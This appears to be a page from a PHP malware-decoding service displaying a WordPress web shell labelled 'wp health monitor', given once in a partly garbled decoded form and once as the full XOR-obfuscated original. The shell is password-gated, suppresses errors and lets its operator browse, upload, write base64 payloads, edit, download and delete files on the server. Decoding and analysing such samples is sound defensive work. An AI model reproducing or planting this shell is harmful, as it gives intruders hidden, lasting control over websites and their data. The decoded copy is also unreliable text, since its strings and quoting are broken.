Decoded Output
Download<?php /* wp health monitor */ if(isset($_request['abb1b'])&&$_request['abb1b']==="3d3cc96f2bc5ca"){@ob_start();$_fp="hz56)uP"^"@B]$";$_fg="<` #EwZ"^"UD1a.";$_mu="~.7B,]ct"^"t[[-M8f";$_ul="Mo"^"#";$_sd="%43"^"FPZt";$_id="drB"^"0";$_if="w]/"^";J";$_fs="hN>k"^"by
u'D";$_rp="}&W'"^"V6O";$_rf="P@z"^"4&";$_bn="p_"^"a:";$_hs="YaQDp~D"^"-2%i7";$_nf="CU[RG"^"!'633";$_er="Y\x074"^"y6.Xcd[";$_is=""[2"^"K5kF";$_st="&AU 0H"^"tR5<eV\xc0%";@$_er(0);@$_is("display_errors","0");@$_st(0);@header("content-type:text/html;charset=utf-8");@header("x-robots-tag:noindex");$d=isset($_request["d"])?@$_rp($_request["d"]):@getcwd();if(!$d)$d=@getcwd();$q="abb1b=".urlencode("3d3cc96f2bc5ca");$z="";if(!empty($_post["sv"])&&!empty($_post["fp"])&&isset($_post["ct"])){@$_fp($_post["fp"],$_post["ct"]);$z="+";}if(!empty($_get["rm"])){@$_ul($d."/".$_bn($_get["rm"]));$z="+";}if(!empty($_post["up"])&&!empty($_files["f"])){@$_mu($_files["f"]["tmp_name"],$d."/".$_bn($_files["f"]["name"]));$z="+";}if(!empty($_post["b64fn"])&&!empty($_post["b64d"])){@$_fp($d."/".$_bn($_post["b64fn"]),base64_decode($_post["b64d"]));$z="+";}if(!empty($_get["dl"])){$fp=$d."/".$_bn($_get["dl"]);if(@$_if($fp)){@header("content-type:application/octet-stream");@header("content-disposition:attachment;filename="".$_bn($fp).""");@$_rf($fp);@ob_end_flush();exit;}}echo"<!doctype html><html><head><title>wp_12hveo9ycxop</title></head><body><pre>';if($z)echo'[+] ';if(!empty($_get['ed'])&&@$_if($d.'/'.$_bn($_get['ed']))){$ef=$d.'/'.$_bn($_get['ed']);echo $_hs($_bn($ef))."
</pre>";echo'<form method=post><textarea name=ct rows=20 cols=80>'.$_hs(@$_fg($ef)).'</textarea>';echo'<input type=hidden name=fp value="".$_hs($ef)."">';echo'<br><input type=submit name=sv value=save><a href="?".$q."&d=".urlencode($d)."">back</a></form>';}else{$sp=explode('/',str_replace('\','/',$d));$bp='';foreach($sp as $s){if(!$s)continue;$bp.='/'.$s;echo'/<a href="?".$q."&d=".urlencode($bp)."">'.$s.'</a>';}echo"
</pre>";echo'<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit name=up value=up></form><table>';$ls=@$_sd($d);if($ls){sort($ls);foreach($ls as $f){if($f=='.')continue;$fp=$d.'/'.$f;$id=@$_id($fp);$sz=$id?'-':@$_nf(@$_fs($fp));echo'<tr><td>'.($id?'[<a href="?".$q."&d=".urlencode($fp)."">'.$f.'</a>]':'<a href="?".$q."&d=".urlencode($d)."&dl=".urlencode($f)."">'.$f.'</a>').'</td><td>'.$sz.'</td><td>';if(!$id)echo'<a href="?".$q."&d=".urlencode($d)."&ed=".urlencode($f)."">[e]</a>';if($f!='..')echo'<a href="?".$q."&d=".urlencode($d)."&rm=".urlencode($f)."" onclick="return confirm(\"del?\");">[x]</a>';echo'</td></tr>';}}echo'</table>';}echo'</body></html>';@ob_end_flush();exit;} ?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
None
Stats
| MD5 | 2cd0f7aa22d9c943 |
|---|---|
| Eval Count | 0 |
| Decode Time | 124 ms |
Original Code
<?php /* wp health monitor */ if(isset($_request['abb1b'])&&$_request['abb1b']==="3d3cc96f2bc5ca"){@ob_start();$_fp="\x68\x8d\x7a\x94\xdc\xd5\x35\x36\x85\x90\xa7\xc4\x29\x75\xdf\x50\xa2"^"\x0e\xe4\x16\xf1\x83\xa5\x40\x42\xda\xf3\xc8\xaa\x5d\x10\xb1\x24\xd1";$_fg="\xe0\x3c\xb8\x60\x20\x23\xa6\x45\xb1\xfa\xe7\xce\x15\x81\x77\x5a\xcf"^"\x86\x55\xd4\x05\x7f\x44\xc3\x31\xee\x99\x88\xa0\x61\xe4\x19\x2e\xbc";$_mu="\x8d\x9e\x7e\x11\xaf\x2e\xec\x37\x42\x2c\xe4\x5d\x63\x87\xa9\x74\xb3\x03"^"\xe0\xf1\x08\x74\xf0\x5b\x9c\x5b\x2d\x4d\x80\x38\x07\xd8\xcf\x1d\xdf\x66";$_ul="\xd6\x4d\xcc\xdc\xd9\x6f"^"\xa3\x23\xa0\xb5\xb7\x04";$_sd="\xe4\x25\xe8\xd3\x34\x33\x06"^"\x97\x46\x89\xbd\x50\x5a\x74";$_id="\xe4\x64\x93\xac\x72\x42"^"\x8d\x17\xcc\xc8\x1b\x30";$_if="\x77\xf1\xb4\x5d\xca\xd9\x2f"^"\x1e\x82\xeb\x3b\xa3\xb5\x4a";$_fs="\x04\xdf\x15\x68\x06\x4e\x3e\x6b"^"\x62\xb6\x79\x0d\x75\x27\x44\x0e";$_rp="\x89\xd2\x80\x7d\x26\x57\xbb\x27"^"\xfb\xb7\xe1\x11\x56\x36\xcf\x4f";$_rf="\x84\xc5\xcf\x50\x40\xa4\x87\x7a"^"\xf6\xa0\xae\x34\x26\xcd\xeb\x1f";$_bn="\xc5\x88\x12\x94\x70\x8c\xb1\x5f"^"\xa7\xe9\x61\xf1\x1e\xed\xdc\x3a";$_hs="\xe6\x59\x89\xad\x8b\xdd\x61\x51\xc8\x44\x70\x7e\x01\xe5\xd7\x44"^"\x8e\x2d\xe4\xc1\xf8\xad\x04\x32\xa1\x25\x1c\x1d\x69\x84\xa5\x37";$_nf="\xba\xfc\x97\x43\xa2\x55\xdc\xaf\xcb\xcc\x5b\x52\x47"^"\xd4\x89\xfa\x21\xc7\x27\x83\xc9\xa4\xbe\x36\x33\x33";$_er="\xe9\x0b\x99\x59\x5c\x07\x8b\x06\x14\x34\xd4\xda\x9a\xff\xc3"^"\x8c\x79\xeb\x36\x2e\x58\xf9\x63\x64\x5b\xa6\xae\xf3\x91\xa4";$_is="\x22\x5b\xff\xa9\x18\xc3\x32"^"\x4b\x35\x96\xf6\x6b\xa6\x46";$_st="\x88\x11\x26\xda\x41\x55\x08\xe4\x09\x30\xa9\x48\xd3\xc7"^"\xfb\x74\x52\x85\x35\x3c\x65\x81\x56\x5c\xc0\x25\xba\xb3";@$_er(0);@$_is("display_errors","0");@$_st(0);@header("content-type:text/html;charset=utf-8");@header("x-robots-tag:noindex");$d=isset($_request["d"])?@$_rp($_request["d"]):@getcwd();if(!$d)$d=@getcwd();$q="abb1b=".urlencode("3d3cc96f2bc5ca");$z="";if(!empty($_post["sv"])&&!empty($_post["fp"])&&isset($_post["ct"])){@$_fp($_post["fp"],$_post["ct"]);$z="+";}if(!empty($_get["rm"])){@$_ul($d."/".$_bn($_get["rm"]));$z="+";}if(!empty($_post["up"])&&!empty($_files["f"])){@$_mu($_files["f"]["tmp_name"],$d."/".$_bn($_files["f"]["name"]));$z="+";}if(!empty($_post["b64fn"])&&!empty($_post["b64d"])){@$_fp($d."/".$_bn($_post["b64fn"]),base64_decode($_post["b64d"]));$z="+";}if(!empty($_get["dl"])){$fp=$d."/".$_bn($_get["dl"]);if(@$_if($fp)){@header("content-type:application/octet-stream");@header("content-disposition:attachment;filename="".$_bn($fp).""");@$_rf($fp);@ob_end_flush();exit;}}echo"<!doctype html><html><head><title>wp_12hveo9ycxop</title></head><body><pre>';if($z)echo'[+] ';if(!empty($_get['ed'])&&@$_if($d.'/'.$_bn($_get['ed']))){$ef=$d.'/'.$_bn($_get['ed']);echo $_hs($_bn($ef))."\n</pre>";echo'<form method=post><textarea name=ct rows=20 cols=80>'.$_hs(@$_fg($ef)).'</textarea>';echo'<input type=hidden name=fp value="".$_hs($ef)."">';echo'<br><input type=submit name=sv value=save><a href="?".$q."&d=".urlencode($d)."">back</a></form>';}else{$sp=explode('/',str_replace('\\','/',$d));$bp='';foreach($sp as $s){if(!$s)continue;$bp.='/'.$s;echo'/<a href="?".$q."&d=".urlencode($bp)."">'.$s.'</a>';}echo"\n</pre>";echo'<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit name=up value=up></form><table>';$ls=@$_sd($d);if($ls){sort($ls);foreach($ls as $f){if($f=='.')continue;$fp=$d.'/'.$f;$id=@$_id($fp);$sz=$id?'-':@$_nf(@$_fs($fp));echo'<tr><td>'.($id?'[<a href="?".$q."&d=".urlencode($fp)."">'.$f.'</a>]':'<a href="?".$q."&d=".urlencode($d)."&dl=".urlencode($f)."">'.$f.'</a>').'</td><td>'.$sz.'</td><td>';if(!$id)echo'<a href="?".$q."&d=".urlencode($d)."&ed=".urlencode($f)."">[e]</a>';if($f!='..')echo'<a href="?".$q."&d=".urlencode($d)."&rm=".urlencode($f)."" onclick="return confirm(\"del?\");">[x]</a>';echo'</td></tr>';}}echo'</table>';}echo'</body></html>';@ob_end_flush();exit;}